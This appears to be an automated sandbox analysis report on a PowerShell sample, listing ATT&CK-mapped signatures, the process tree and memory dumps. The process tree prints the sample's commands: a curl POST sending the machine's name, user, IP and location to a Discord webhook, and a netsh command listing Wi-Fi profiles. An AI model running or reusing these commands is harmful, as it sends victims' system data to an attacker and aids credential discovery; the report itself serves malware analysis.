Analysis
- max time kernel
149s - max time network
113s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
22/08/2026, 21:52
General
- Target file01.ps1
- Size 17KB
- Sample260822-1rcd3scl3w
- SHA256 6153ec789c44421fa15992d5b8c50d07a27ea690432af1c8e1925070efef23e7
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Deletes itself 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps11⤵
- Badlisted process makes network request
- Deletes itself
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -s -X POST -H "Content-Type: application/json" -d {"content":"PC: WLQWINKU\nUser: Admin\nOS: Microsoft Windows NT 10.0.26100.0 \nArch: AMD64\nCPU: AMD64 Family 6 Model 13 Stepping 2, AuthenticAMD\nGPU: \nRAM: 0 GB\nIP: 85.203.46.34\nCountry: GB / London / England\nLanguage: English (United States)\nTimezone: GMT Standard Time\n"} https://discord.com/api/webhooks/1540010264185929819/jgv3MMCuSywxOygjshlLN9bwD4miJinOpHwHL5b78_XBojgJhFQrZpV6rYiAMhSMhXHW2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4260-0-0x00007FF90CBCF000-0x00007FF90CBD0000-memory.dmp
memory/4260-4-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-3-0x0000023821FD0000-0x0000023821FF2000-memory.dmp
memory/4260-5-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-6-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-7-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-8-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-11-0x0000023822090000-0x00000238220AE000-memory.dmp
memory/4260-12-0x00000238222C0000-0x0000023822372000-memory.dmp
memory/4260-13-0x00000238220B0000-0x00000238220BA000-memory.dmp
memory/4260-14-0x00000238224F0000-0x000002382250E000-memory.dmp
memory/4260-15-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-16-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-17-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-18-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-19-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-21-0x00000238224D0000-0x00000238224DA000-memory.dmp
memory/4260-22-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-20-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-23-0x0000023822530000-0x000002382254C000-memory.dmp
memory/4260-24-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-25-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-26-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-27-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-28-0x00000238224E0000-0x00000238224E8000-memory.dmp
memory/4260-30-0x0000023822520000-0x000002382252A000-memory.dmp
memory/4260-29-0x0000023822510000-0x0000023822516000-memory.dmp
memory/4260-31-0x0000023822820000-0x00000238229E2000-memory.dmp
memory/4260-32-0x0000023822F20000-0x0000023823448000-memory.dmp
memory/4260-34-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp
memory/4260-36-0x00007FF90CA40000-0x00007FF90D3E4000-memory.dmp